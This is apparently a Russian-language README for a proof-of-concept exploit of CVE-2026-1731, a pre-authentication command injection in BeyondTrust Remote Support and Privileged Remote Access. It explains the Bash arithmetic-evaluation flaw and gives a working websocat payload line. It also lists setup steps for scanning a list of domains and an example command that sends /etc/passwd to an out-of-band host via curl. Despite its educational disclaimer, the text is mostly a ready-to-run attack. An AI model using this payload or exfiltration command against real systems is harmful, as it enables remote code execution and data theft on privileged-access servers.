
CVE-2026-1731 — Критическая уязвимость внедрения команд в BeyondTrust Remote Support и Privileged Remote Access, вызванная небезопасной арифметической оценкой Bash в скрипте, доступном через WebSocket.
[!WARNING] Этот скрипт предназначен только для образовательных и исследовательских целей. Не используйте его против систем без явного разрешения. Несанкционированный доступ или тестирование незаконны и неэтичны. Прочтите полный DISCLAIMER перед использованием этого скрипта.
Этот скрипт демонстрирует критическую уязвимость внедрения команд (CVE-2026-1731), затрагивающую BeyondTrust Remote Support (RS) и Privileged Remote Access (PRA). Проблема исходит из той же конечной точки, доступной через WebSocket, которая была задействована в более ранней громкой CVE-2024-12356, что делает этот вариант тесно связанным.
Уязвимость существует потому, что серверный скрипт thin-scc-wrapper выполняет арифметические сравнения над данными, контролируемыми атакующим, а именно над значением remoteVersion, отправляемым во время рукопожатия WebSocket. Bash обрабатывает операнды в числовых сравнениях как выражения, а не как обычные строки, что позволяет сконструированным нагрузкам, таким как a[$(cmd)]0, вызывать выполнение произвольных команд во время оценки.
Несмотря на то, что BeyondTrust добавила числовую проверку корректности в этом цикле исправлений, это не мешает Bash выполнять оценку выражений позже, оставляя конечную точку эксплуатируемой. Атакующие могут получить выполнение кода, просто открыв WebSocket-соединение и отправив вредоносное значение версии до аутентификации.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Поместите его в ту же папку, где находится ваш Python-скрипт.)
Или переместите его в общесистемное расположение:
sudo mv websocat /usr/local/bin/
domains.txt в той же директорииДобавьте URL-адреса, которые вы хотите протестировать:
example1.com
example2.com
example3.com
Отредактируйте следующую строку в скрипте, чтобы настроить команду, которую должен выполнить эксплойт через WebSocket:
CMD = "YOUR-COMMAND-HERE"
Например:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
После того как команда задана, запустите скрипт:
python3 exploit.py
Или сделайте его исполняемым и запустите напрямую:
chmod +x exploit.py
./exploit.py